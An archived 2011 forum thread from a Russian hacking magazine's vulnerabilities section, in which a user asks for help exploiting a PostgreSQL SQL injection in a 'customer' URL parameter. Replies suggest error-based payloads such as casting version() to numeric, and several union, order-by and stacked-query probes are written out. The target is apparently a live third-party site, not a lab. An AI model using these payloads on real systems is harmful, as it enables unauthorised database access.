Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

PGSQL - вопрос про инъекцию

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> PGSQL - вопрос про инъекцию
Имя
Сообщение << Старые топики   Новые топики >>
PGSQL - вопрос про инъекцию - 2011-03-02 15:31:58.140000   
fake_magent

Сообщений: 187
Оценки: 0
Присоединился: 2010-12-19 18:43:29.280000
 есть вида ?customer=%c0%00x
вываливается ошибка
даже не знаю как дальше крутить
+union+select+null,null или +order+by+9999– с таким параметром дают ошибку
прошу подсказать

а вот такой вот запрос ?customer=1;select+version()::int–
выводится как pg_query() [function.pg-query]: Query failed: ERROR: syntax error in tsquery: "1;select&version::int–"
Post #: 1
RE: PGSQL - вопрос про инъекцию - 2011-03-03 16:19:51.270000   
narviss

Сообщений: 5
Оценки: 0
Присоединился: 2010-12-06 07:39:00.496666
 Надо эксперементировать, ссылку дай:)
Post #: 2
RE: PGSQL - вопрос про инъекцию - 2011-03-03 19:04:19.996666   
sepo

Сообщений: 434
Оценки: 10
Присоединился: 2009-01-13 21:19:09.150000
 Лучше дай ссылку, так тебе быстрее помогут… проблемка интересная… давно не работал с постгре…
Post #: 3
RE: PGSQL - вопрос про инъекцию - 2011-03-04 01:03:08.500000   
sepo

Сообщений: 434
Оценки: 10
Присоединился: 2009-01-13 21:19:09.150000
 ?customer=cast(version()+as+numeric)
пробуй и такой вариант…
Post #: 4
RE: PGSQL - вопрос про инъекцию - 2011-03-04 10:18:46.040000   
fake_magent

Сообщений: 187
Оценки: 0
Присоединился: 2010-12-19 18:43:29.280000
quote:

ORIGINAL: sepo

?customer=cast(version()+as+numeric)
пробуй и такой вариант…

он не выполняется ни как
Post #: 5
RE: PGSQL - вопрос про инъекцию - 2011-03-06 11:50:52.750000   
fake_magent

Сообщений: 187
Оценки: 0
Присоединился: 2010-12-19 18:43:29.280000
 тему можно закрывать - расковырял
Post #: 6
Страниц:  [1]
Все форумы >> [Уязвимости] >> PGSQL - вопрос про инъекцию







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.